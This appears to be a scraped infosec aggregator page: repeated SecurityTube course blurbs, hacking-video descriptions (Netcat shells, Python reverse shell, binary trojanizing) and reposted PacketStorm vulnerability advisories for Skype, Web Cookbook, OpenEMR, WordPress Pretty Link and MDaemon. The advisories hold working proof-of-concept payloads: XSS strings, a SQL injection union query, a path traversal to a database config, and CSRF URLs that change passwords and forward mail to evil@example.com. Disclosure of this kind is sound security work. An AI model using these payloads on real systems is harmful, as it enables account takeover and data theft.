Praetorian503

Description: The SecurityTube Linux Assembly Expert (SLAE) is an online course and certification which focuses on teaching the basics of 32-bit assembly language for the Intel Architecture (IA-32) family of processors on the Linux platform and applying it to Infosec. Once we are through with the basics, we will look at writing shellcode, encoders, decoders, crypters and other advanced low level applications. This video is just a sample. To purchase the full course (9 HOURS of VIDEO MATERIAL) and view more sample videos, please use the link below: SecurityTube Linux Assembly Expert

Description: The SecurityTube Linux Assembly Expert (SLAE) is an online course and certification which focuses on teaching the basics of 32-bit assembly language for the Intel Architecture (IA-32) family of processors on the Linux platform and applying it to Infosec. Once we are through with the basics, we will look at writing shellcode, encoders, decoders, crypters and other advanced low level applications. This video is just a sample. To purchase the full course (9 HOURS of VIDEO MATERIAL) and view more sample videos, please use the link below: SecurityTube Linux Assembly Expert

Description: The SecurityTube Linux Assembly Expert (SLAE) is an online course and certification which focuses on teaching the basics of 32-bit assembly language for the Intel Architecture (IA-32) family of processors on the Linux platform and applying it to Infosec. Once we are through with the basics, we will look at writing shellcode, encoders, decoders, crypters and other advanced low level applications. This video is just a sample. To purchase the full course (9 HOURS of VIDEO MATERIAL) and view more sample videos, please use the link below: SecurityTube Linux Assembly Expert

Description: The SecurityTube Linux Assembly Expert (SLAE) is an online course and certification which focuses on teaching the basics of 32-bit assembly language for the Intel Architecture (IA-32) family of processors on the Linux platform and applying it to Infosec. Once we are through with the basics, we will look at writing shellcode, encoders, decoders, crypters and other advanced low level applications. This video is just a sample. To purchase the full course (9 HOURS of VIDEO MATERIAL) and view more sample videos, please use the link below: SecurityTube Linux Assembly Expert

Description: The SecurityTube Linux Assembly Expert (SLAE) is an online course and certification which focuses on teaching the basics of 32-bit assembly language for the Intel Architecture (IA-32) family of processors on the Linux platform and applying it to Infosec. Once we are through with the basics, we will look at writing shellcode, encoders, decoders, crypters and other advanced low level applications. This video is just a sample. To purchase the full course (9 HOURS of VIDEO MATERIAL) and view more sample videos, please use the link below: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ Source: http://www.securitytube.net/video/6980

Description: The SecurityTube Linux Assembly Expert (SLAE) is an online course and certification which focuses on teaching the basics of 32-bit assembly language for the Intel Architecture (IA-32) family of processors on the Linux platform and applying it to Infosec. Once we are through with the basics, we will look at writing shellcode, encoders, decoders, crypters and other advanced low level applications. This video is just a sample. To purchase the full course (9 HOURS of VIDEO MATERIAL) and view more sample videos, please use the link below: SecurityTube Linux Assembly Expert

Description: The SecurityTube Linux Assembly Expert (SLAE) is an online course and certification which focuses on teaching the basics of 32-bit assembly language for the Intel Architecture (IA-32) family of processors on the Linux platform and applying it to Infosec. Once we are through with the basics, we will look at writing shellcode, encoders, decoders, crypters and other advanced low level applications. This video is just a sample. To purchase the full course (9 HOURS of VIDEO MATERIAL) and view more sample videos, please use the link below: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ Source: http://www.securitytube.net/video/6977

Description: In this video I will show you how to use Scapy for sniffing internal network packets. Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Source: Sniffing With Scapy

Description: In this video I will show you how to use Netcat for advanced exploitation techniques. In this video I will show you how to get windows shell using netcat and grabbing banner, port scanning etc .. Most of the tools in any hacker or pentester’s arsenal are task-specific; they specialize in one function only but Netcat, also known as the ‘TCP/IP Swiss Army Knife,’ does not fall into this category. Netcat is a tool capable of writing data across a network using TCP or UDP protocol but this simple capability allows it to perform many functionalities. Its capability to create almost any kind of connection makes it a simple and efficient network debugging and exploration tool. It has been built in such a manner that it can act as a client as well as a server, which elevates its utility to a higher level. Source: - InfoSec Institute Resources – Netcat: TCP/IP Swiss Army Knife Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Source: Netcat - Tcp-Ip Swiss Army Knife

Description: This presentation will unveil a new tool for hijacking executables and discuss the underlying techniques it uses. Binject is a tool that can be used by pen-testers to establish a persistent foothold on a compromised host through trojanizing a system binary, or anyone with a burning desire to add functionality to a compiled program. Original techniques for process injection developed for this tool will be discussed in detail. Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Source: Blackhat 2010 - The Black Art Of Binary Hijacking

Skype Community suffers from a mail encoding vulnerability that allows for cross site scripting. Title: ====== Skype Community - Mail Encoding Web Vulnerability Date: ===== 2013-02-21 References: =========== http://www.vulnerability-lab.com/get_content.php?id=800 MSRC ID: 13493 VL-ID: ===== 800 Common Vulnerability Scoring System: ==================================== 3.5 Introduction: ============= Skype is a proprietary voice-over-Internet Protocol service and software application originally created in 2003 by Swedish entrepreneur Niklas Zennström and his Danish partner Janus Friis. It has been owned by Microsoft since 2011. The service allows users to communicate with peers by voice, video, and instant messaging over the Internet. Phone calls may be placed to recipients on the traditional telephone networks. Calls to other users within the Skype service are free of charge, while calls to landline telephones and mobile phones are charged via a debit-based user account system. Skype has also become popular for its additional features, including file transfer, and videoconferencing. Competitors include SIP and H.323-based services, such as Linphone, as well as the Google Talk service, Mumble and Hall.com. Skype has 663 million registered users as of September 2011. The network is operated by Microsoft, which has its Skype division headquarters in Luxembourg. Most of the development team and 44% of the overall employees of the division are situated in Tallinn and Tartu, Estonia. Unlike most other VoIP services, Skype is a hybrid peer-to-peer and client–server system. It makes use of background processing on computers running Skype software. Skype`s original proposed name (Sky Peer-to-Peer) reflects this fact. Some network administrators have banned Skype on corporate, government, home, and education networks, citing reasons such as inappropriate usage of resources, excessive bandwidth usage, and security concerns. (Copy of the Vendor Homepage: http://en.wikipedia.org/wiki/Skype) Abstract: ========= The Vulnerability Laboratory Research Team discovered a mail filter encoding web vulnerability in the official Skype Website Application. Report-Timeline: ================ 2012-12-27: Researcher Notification & Coordination 2012-12-28: Vendor Notification 2013-01-05: Vendor Response/Feedback 2013-02-13: Vendor Fix/Patch 2013-02-21: Public Disclosure Status: ======== Published Affected Products: ================== Microsoft Corp. Product: Skype Community - Lithium Forums 2012 Q4 Exploitation-Technique: ======================= Remote Severity: ========= Medium Details: ======== A persistent mail encoding web vulnerability is detected in the official Skype Community Portal Website Application. The vulnerability allows remote attackers to send own malicious script code as invite mail message (persistent) to hijack or phish skype application user accounts. The vulnerability in the skype community (forum) is located in the `invite a friend to use skype` function with the bound vulnerable username parameter. The malicious code will be executed when the attacker injects script code as friend`s name in the invite a friend to use skype function. After the include the attacker needs to include the receiver of the mail and can directly send it via the skype community formular. The skype system generates a link with the session details when processing to display the download link in a mail. The script code of the formular will be included to the mail and can only be executed out of the generated link with the bound session and input details of the sender. Affected is the generated main skype download link in the mail but also the download link of the mobile version for android. Vulnerable Section(s): [+] Skype Community - Forums [community.skype.com] Vulnerable Module(s): [+] Forums [Notification] - Invite a friend to use skype Vulnerable Input(s): [+] Friends Name Vulnerable Parameter(s): [+] h [+] &b Affected Section(s): [+] Mail - Skype Main Download Link [+] Mail - Skype Mobile Android Download Link Proof of Concept: ================= The persistent vulnerability can be exploited by remote attackers without privileged community application user account with low or medium required user interaction. For demonstration or reproduce ... Note: The problem occurs in the validation of the mail encoding when processing to calculate (generate) the software download link with the bound session details/information of the sender. Review: Mail - Skype Main Download Link <td style="font-family: Helvetica,Arial,sans-serif; font-size: 14px; line-height: 16px; color:#FFFFFF; text-decoration: none; font-weight: bold;" align="left" valign="middle"><a href="http://my.email.skype.com/r/RNUYOQ9/N2NMYT/0GGM4W2M/3TRE7KH/ B6VEVG/DX/h?a=%20%20%20%20">&b=%2520%2520%2520%2520%26quot%3b%26gt%3b&c=cm%5fmmc=EMTR|0312%5fB6-%5f-z213-%5f- 0200271212DEde%26ed_rid=_edid__%26ed_mid=48525151" style="text-decoration: none; font-family: Helvetica,Arial,sans-serif; font-size: 14px; line-height: 16px; color:#FFFFFF; font-weight: bold;" title="Get the new Skype for Android" target="_blank"> <span><font style="text-decoration: none; font-family: Helvetica,Arial,sans-serif; font-size: 14px; line-height: 16px; color:#FFFFFF; font-weight: bold;">Skype herunterladen</font></span></a></td> PoC: http://my.email.skype.com/r/RNUYOQ9/N2NMYT/0GGM4W2M/3TRE7KH/B6VEVG/DX/h ?a=%20%20%20%20%22%3E[SPLIT]&b=%2520%2520%26quot%3b%26gt%3b[PERSISTENT OR NON-PERSISTENT SCRIPT CODE!]& c=cm%5fmmc=EMTR|0312%5fB6-%5f-z213-%5f-0200271212DEde%26ed_rid=_edid__%26ed_mid=48525151 Sender: info@email.skype.com Answer: info.6VVDIE4D.48525151@email.skype.com Reference(s): http://www.skype.com/intl/en/tell-a-friend/ Solution: ========= The vulnerability can be patched by parsing the software download link when processing to generate (download link) with the bound user session. Restrict the input fields via filter or stable mask in the tell a friend to use skype function to prevent against future script code executions out of the skype mail notification template. Risk: ===== The security risk of the filter mail encoding or validation vulnerability is estimated as medium(+). Credits: ======== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com) Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission. Copyright © 2012 | Vulnerability Laboratory -- VULNERABILITY RESEARCH LABORATORY LABORATORY RESEARCH TEAM CONTACT: research@vulnerability-lab.com Source: PacketStorm

PHPMyGallery versions 1.51.010 and below suffer from cross site scripting and local file disclosure vulnerabilities. Link Source: PacketStorm

Web Cookbook suffers from file disclosure and remote SQL injection vulnerabilities. # Web Cookbook Multiple Vulnerability # By cr4wl3r http://bastardlabs.info # Script: http://sourceforge.net/projects/webcookbook/ # Tested: Win 7 # Proof of Concept # SQL Injection http://bastardlabs/[path]/rezeptanzeige.php?currid=[SQLi] http://bastardlabs/[path]/rezeptanzeige.php?currid=-9999%20union%20select%201,version(),3,4,5,6,7,8,9,10-- # Remote File Disclosure # Bugs found /admin/dumpdb.php -------------------------- 1 <?php 2 $outfile = $_GET['outfile']; 3 header("Content-Type: text/plain"); 4 header("Content-length: " . filesize("../upload/" . $outfile)); 5 header("Content-Disposition: attachment; filename=" . $outfile); 6 readfile("../upload/" . $outfile); 7 ?> -------------------------- http://bastardlabs/[path]/admin/dumpdb.php?outfile=../[file] http://bastardlabs/[path]/admin/dumpdb.php?outfile=../env_db.php # Demo: http://bastardlabs.info/demo/WebCookbook1.png http://bastardlabs.info/demo/WebCookbook2.png Source: PacketStorm

OpenEMR version 4.1.1 suffers from a cross site scripting vulnerability. OpenEMR 4.1.1 (site param) Remote XSS Vulnerability Vendor: OpenEMR Product web page: http://www.open-emr.org Affected version: 4.1.1 Summary: OpenEMR is a Free and Open Source electronic health records and medical practice management application that can run on Windows, Linux, Mac OS X, and many other platforms. Desc: OpenEMR suffers from a XSS issue due to a failure to properly sanitize user-supplied input to the 'site' GET parameter in the central 'globals.php' script which is called by every script. Attackers can exploit this weakness to execute arbitrary HTML and script code in a user's browser session. Tested on: Microsoft Windows 7 Ultimate SP1 (EN) Apache 2.4.2 (Win32) PHP 5.4.4 MySQL 5.5.25a Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2013-5129 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5129.php Vendor: http://www.open-emr.org/wiki/index.php/OpenEMR_Patches 09.02.2013 -- http://localhost/openemr/[DIR]/[SCRIPT]?site="><script>alert(1);</script> Source: PacketStorm

Description: In this video i will show you how to use Scapy for port scanning. In this demo i will show you how to get open ports with services. Scapy is a very powerful network exploitation and security tool. Using Scapy python modules you can make a your own port scanner. Scapy : - Scapy is a powerful interactive packet manipulation program. It is able to forge or decode packets of a wide number of protocols, send them on the wire, capture them, match requests and replies, and much more. It can easily handle most classical tasks like scanning, tracerouting, probing, unit tests, attacks or network discovery (it can replace hping, 85% of nmap, arpspoof, arp-sk, arping, tcpdump, tethereal, p0f, etc.). It also performs very well at a lot of other specific tasks that most other tools can't handle, like sending invalid frames, injecting your own 802.11 frames, combining technics (VLAN hopping+ARP cache poisoning, VOIP decoding on WEP encrypted channel, ...), etc. Scapy Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Source: Port Scanning Using Scapy

Description: In this video i will show you how to use a Simple Python Reverse Shell. Python Shell code written by Devid Kannedy. Script : - https://www.trustedsec.com/files/simple_py_shell.py Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Source: Python Reverse Shell

Description: “Protecting Big Data From Cyber APT in the Cloud” Bill “@oncee” Gardner Source : - ShmooCon Firetalks 2013 (Hacking Illustrated Series InfoSec Tutorial Videos) Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Source: Shmoocon 2013 - Protecting Big Data From Cyber Apt In The Cloud

Shmoocon 2013 - Extending The 20 Critical Security Controls To Gap Assessments And Security Maturity Modelling Description: “Extending the 20 Critical Security Controls to Gap Assessments and Security Maturity Modelling” John “@pinfosec” Willis Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Source: Shmoocon 2013 - Extending The 20 Critical Security Controls To Gap Assessments And Security Maturity Modelling

Alt-N MDaemon version 13.0.3 WorldClient and WebAdmin applications suffer from a cross site request forgery vulnerability. ===================================================================================== Alt-N MDaemon's WorldClient & WebAdmin Cross-Site Request Forgery Vulnerability ===================================================================================== Software: Alt-N MDaemon v13.0.3 and prior versions Vendor: http://www.altn.com/ Vuln Type: Cross-Site Request Forgery Remote: Yes Local: No Discovered by: QSecure and Demetris Papapetrou References: http://www.qsecure.com.cy/advisories/Alt-N_MDaemon_WorldClient_and_WebAdmin_CSRF.html Discovered: 25/07/2012 Reported: 19/12/2012 Fixed: 15/01/2013 (http://files.altn.com/MDaemon/Release/RelNotes_en.html) Disclosed: 18/02/2013 VULNERABILITY DESCRIPTION: ========================== Alt-N WorldClient and WebAdmin applications are prone to a cross-site request-forgery vulnerability. It should be noted that partial protection is provided by the Session parameter, but this alone cannot be considered as an adequate protection mechanism. An attacker can exploit this issue to perform different actions on the affected application without the user's consent. For example, the attacker can change the user's password, forward a copy of the user's emails to a different email account, retrieve his/her address book, send email messages to other users/email addresses and/or perform other similar tasks. Alt-N MDaemon v13.0.3 & v12.5.6 were tested and found vulnerable; other versions may also be affected. PoC Exploit: ============ Change Password: http://www.example.com:3000/WorldClient.dll?Session=[SESSION_ID]&View=Options-Prefs&Reload=false&Save=Yes&ReturnJavaScript=Yes&ContentType=javascript&Password=Letme1n&ConfirmPassword=Letme1n Enable Forwarding: http://www.example.com:3000/WorldClient.dll?Session=[SESSION_ID]&View=Options-Prefs&Reload=false&Save=Yes&ReturnJavaScript=Yes&ContentType=javascript&ForwardingEnabled=Yes&ForwardingRetainCopy=Yes&ForwardingAddress=evil%40example.com Source: PacketStorm

WordPress Pretty Link plugin version 1.6.3 suffers from a cross site scripting vulnerability. # Exploit Title: Wordpress pretty-link? plugin XSS in SWF # Release Date: 20/02/13 # Author: hip [Insight-Labs] # Contact: hip@insight-labs.org | Website: http://insight-labs.org # Software Link: http://downloads.wordpress.org/plugin/pretty-link.1.6.3.zip # Vendor Homepage: http://prettylinkpro.com/ # Tested on: XPsp3 # Affected version: 1.6.3 before # Google Dork: inurl:/wp-content/plugins/pretty-link/ # REF:CVE-2013-1636 ----------------------------------------------------------------------------------------------------------------------- # Introduction: Pretty-link is Shrink, beautify, track, manage and share any URL on or off of your WordPress website. Create links that look how you want using your own domain name! ------------------------------------------------------------------------------------------------------------------------- # XSS - Proof Of Concept: vulnerable path: /wp-content/plugins/pretty-link/includes/version-2-kvasir/open-flash-chart.swf vulnerabile parameter:get-data POC: /wp-content/plugins/pretty-link/includes/version-2-kvasir/open-flash-chart.swf?get-data=(function(){alert(xss)})() ------------------------------------------------------------------------------------------------------------------------- # Patch: -- Vendor was notified on the 23/01/2013 -- Vendor released version 1.6.3 on 25/01/2013 Fixed the bug -- REF:http://wordpress.org/extend/plugins/pretty-link/changelog/ ------------------------------------------------------------------------------------------------------------------------- Source: PacketStorm

The Alt-N MDaemon version 13.0.3 WorldClient application suffers from a predictable session identifier vulnerability. ====================================================================== Alt-N MDaemon's WorldClient Predictable Session ID Vulnerability ====================================================================== Software: Alt-N MDaemon v13.0.3 and prior versions Vendor: http://www.altn.com/ Vuln Type: Session ID Prediction Remote: Yes Local: No Discovered by: QSecure and Demetris Papapetrou References: http://www.qsecure.com.cy/advisories/Alt-N_MDaemon_WorldClient_Predictable_Session_ID.html Discovered: 25/07/2012 Reported: 19/12/2012 Fixed: 15/01/2013 (http://files.altn.com/MDaemon/Release/RelNotes_en.html) Disclosed: 18/02/2013 VULNERABILITY DESCRIPTION: ========================== Alt-N WorldClient is the web interface of the MDaemon email server. It has been identified that application session state is not maintained by the user's session cookie but by the URL "Session" parameter instead. This parameter is transmitted with every user request sent to the WorldClient web application and under certain circumstances future session IDs can be successfully predicted. The use of predictable session IDs for authentication makes WorldClient prone to session hijacking attacks. If the attacker can generate a current valid session ID then he/she may be able to access webmail accounts without possessing a valid username/password. The impact of the attack is significantly reduced because WorldClient associates the client's IP address with each session ID produced. However, certain network setups or other scenarios may exist that could render the IP restriction ineffective. Alt-N MDaemon v13.0.3 & v12.5.6 were tested and found vulnerable; other versions may also be affected. Pre-Requisites: --------------- 1) The attacker needs to get a current or expired session ID. a) Google Search: "WorldClient.dll?Session=" Steal an HTTP request and observe the Referer field 2) The MDaemon service or the machine has not been restarted since the captured session ID was generated (There may be a way to deal with this but further research is needed). Source: PacketStorm

Alt-N MDaemon version 13.0.3 suffers from a cross site scripting vulnerability in the email body due to a lack of sanitization. ============================================================== Alt-N MDaemon Email Body HTML/JS Injection Vulnerability ============================================================== Software: Alt-N MDaemon v13.0.3 and prior versions Vendor: http://www.altn.com/ Vuln Type: HTML/JS Injection Remote: Yes Local: No Discovered by: QSecure and Demetris Papapetrou References: http://www.qsecure.com.cy/advisories/Alt-N_MDaemon_Email_Body_HTML_JS_Injection.html Discovered: 14/09/2012 Reported: 19/12/2012 Fixed: 15/01/2013 (http://files.altn.com/MDaemon/Release/RelNotes_en.html) Disclosed: 18/02/2013 VULNERABILITY DESCRIPTION: ========================== Alt-N MDaemon is prone to an HTML/Javascript injection vulnerability because it fails to sanitize user-supplied input. Attacker-supplied HTML and/or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and control how the site is rendered to the user; other attacks are also possible. Alt-N MDaemon v13.0.3 & v12.5.6 were tested and found vulnerable; other versions may also be affected. PoC Exploit: ============ <<!-------->script>alert('XSS');<<!-------->/script> Source: PacketStorm

The Alt-N MDaemon version 13.0.3 WorldClient application suffers from a username enumeration vulnerability based on responses provided. ==================================================================== Alt-N MDaemon's WorldClient Username Enumeration Vulnerability ==================================================================== Software: Alt-N MDaemon v13.0.3 and prior versions Vendor: http://www.altn.com/ Vuln Type: Username Enumeration Remote: Yes Local: No Discovered by: QSecure and Demetris Papapetrou References: http://www.qsecure.com.cy/advisories/Alt-N_MDaemon_WorldClient_Username_Enumeration.html Discovered: 14/09/2012 Reported: 19/12/2012 Fixed: 15/01/2013 (http://files.altn.com/MDaemon/Release/RelNotes_en.html) Disclosed: 18/02/2013 VULNERABILITY DESCRIPTION: ========================== Alt-N WorldClient is prone to a username-enumeration weakness by querying the user's Free-Busy schedule. The DTSTART and DTEND parameters in the returned FBData.vfb file, may indicate whether an email address/username is valid or not. Attackers may exploit this weakness to discern valid usernames. This may aid them in brute-force password cracking or other attacks. Alt-N MDaemon v13.0.3 & v12.5.6 were tested and found vulnerable; other versions may also be affected. PoC Exploit: ============ http://www.example.com:3000/WorldClient.dll?View=fbinfo&User=mickey.mouse@qsecure.com.cy For valid email accounts the DTSTART and DTEND values in the .vfb file start with a recent date backwards (e.g. 20120505) whereas for invalid ones the date is 19801231. Source: PacketStorm

The Alt-N MDaemon version 13.0.3 WebAdmin application suffers from a remote code execution vulnerability via the user account import facility. ================================================================== Alt-N MDaemon's WebAdmin Remote Code Execution Vulnerability ================================================================== Software: Alt-N MDaemon v13.0.3 and prior versions Vendor: http://www.altn.com/ Vuln Type: Remote Code Execution Remote: Yes Local: No Discovered by: QSecure and Demetris Papapetrou References: http://www.qsecure.com.cy/advisories/Alt-N_MDaemon_WebAdmin_Remote_Code_Execution.html Discovered: 01/10/2012 Reported: 19/12/2012 Fixed: 15/01/2013 (http://files.altn.com/MDaemon/Release/RelNotes_en.html) Disclosed: 18/02/2013 VULNERABILITY DESCRIPTION: ========================== Alt-N WebAdmin application is prone to a remote code execution vulnerability via the user account import facility. Attackers may utilize a compromised user/non-admin account to create new accounts in the system or modify existing ones, in a way that will turn-on the autorespond "program processing" functionality and cause it to execute arbitrary commands on the underlying operating system. Furthermore, utilizing the user account import facility, an ordinary user can change the password of any other user or administrator account within MDaemon and access his/her emails. However, a side-effect of this procedure is that any administrator accounts that get modified this way, are downgraded to ordinary users. Alt-N MDaemon v13.0.3 & v12.5.6 were tested and found vulnerable; other versions may also be affected. Source: PacketStorm

The Alt-N MDaemon version 13.0.3 WorldClient application suffers from a credential disclosure vulnerability. This is possible because the application replies to a request with a response that contains the credentials in an encoded (reversible) format. ========================================================================================== Alt-N MDaemon's WorldClient Disclosure of Authentication Credentials Vulnerability ========================================================================================== Software: Alt-N MDaemon v13.0.3 and prior versions Vendor: http://www.altn.com/ Vuln Type: Disclosure of Authentication Credentials Remote: Yes Local: No Discovered by: QSecure and Demetris Papapetrou References: http://www.qsecure.com.cy/advisories/Alt-N_MDaemon_WorldClient_Disclosure_of_Authentication_Credentials.html Discovered: 01/10/2012 Reported: 19/12/2012 Fixed: 15/01/2013 (http://files.altn.com/MDaemon/Release/RelNotes_en.html) Disclosed: 18/02/2013 VULNERABILITY DESCRIPTION: ========================== Alt-N WorldClient application is prone to an authentication credentials disclosure via a specially formulated HTTP request. This is possible because the application replies to the request with a response that contains the credentials in an encoded (reversible) format. Attackers may trick an unsuspecting user into opening a malicious email message -using the WorldClient application- and stealing his/her authentication credentials without the user ever noticing. Alt-N MDaemon v13.0.3 & v12.5.6 were tested and found vulnerable; other versions may also be affected. PoC Exploit: ============ Vulnerable URL: http://www.example.com:3000/WorldClient.dll?Session=[SESSION_ID]&View=WebAdmin Encoded Auth String: GaDAQBQOP3cymUmJxiNVaz80JTAklc/c+q7fAhmklkQSdp0XMo2X/4aVhqMtLz4OLuCf6v2T0Gc9KKHkvn ok0B9ARyso9/k Decoded Auth String: User=test%40ac1dc0de.com&Password=111111Ab&TimeStamp=1344532850&Lang=en Source: PacketStorm